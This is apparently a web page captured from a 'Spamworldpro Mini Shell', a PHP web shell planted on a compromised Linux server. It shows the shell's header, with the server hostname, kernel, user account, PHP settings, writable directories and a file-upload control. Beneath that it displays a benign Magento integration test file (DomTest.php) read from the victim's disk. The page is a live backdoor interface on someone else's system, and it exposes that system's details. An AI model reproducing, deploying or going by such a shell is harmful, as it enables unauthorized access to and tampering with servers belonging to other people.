Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/dev/tests/integration/testsuite/Magento/Ui/Config/Reader/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/dev/tests/integration/testsuite/Magento/Ui/Config/Reader/DomTest.php
<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */
namespace Magento\Ui\Config\Reader;

use Magento\TestFramework\Helper\Bootstrap;
use Magento\Framework\Config\FileIterator;
use Magento\Framework\Filesystem\DriverPool;
use Magento\Framework\Filesystem\File\ReadFactory;

class DomTest extends \PHPUnit\Framework\TestCase
{
    /**
     * @var Dom
     */
    private $dom;

    /**
     * @return void
     */
    public function testConfigurationDom()
    {
        $filename = 'test_component.xml';
        foreach ($this->getComponentFiles($filename) as $content) {
            if (!$this->dom) {
                $objectManager = Bootstrap::getObjectManager();

                $this->dom = $objectManager->create(Dom::class, ['xml' => $content]);
            } else {
                $this->dom->merge($content);
            }
        }
        $this->assertXmlStringEqualsXmlFile(
            $this->getMergedFilePath('test_component_merged.xml'),
            $this->dom->getDom()->saveXML()
        );
    }

    /**
     * @return void
     */
    public function testDefinitionDom()
    {
        $filename = 'etc/test_definition.xml';
        foreach ($this->getComponentFiles($filename) as $content) {
            if (!$this->dom) {
                $objectManager = Bootstrap::getObjectManager();

                $this->dom = $objectManager->create(
                    Dom::class,
                    [
                        'xml' => $content,
                        'idAttributes' => ['/' => 'name'],
                        'schemaLocator' => $objectManager->create(Definition\SchemaLocator::class)
                    ]
                );
            } else {
                $this->dom->merge($content);
            }
        }
        $this->assertXmlStringEqualsXmlFile(
            $this->getMergedFilePath('etc/test_definition_merged.xml'),
            $this->dom->getDom()->saveXML()
        );
    }

    /**
     * @param string $filename
     * @return \Magento\Framework\Config\FileIterator
     */
    private function getComponentFiles($filename)
    {
        $path = realpath(__DIR__ . '/../../_files/view');
        $paths = [
            $path . '/module_one/ui_component/' . $filename,
            $path . '/module_two/ui_component/' . $filename
        ];
        return new FileIterator(new ReadFactory(new DriverPool), $paths);
    }

    /**
     * @param $filename
     * @return string
     */
    private function getMergedFilePath($filename)
    {
        return realpath(__DIR__ . '/../../_files/view/ui_component') . DIRECTORY_SEPARATOR. $filename;
    }
}

Spamworldpro Mini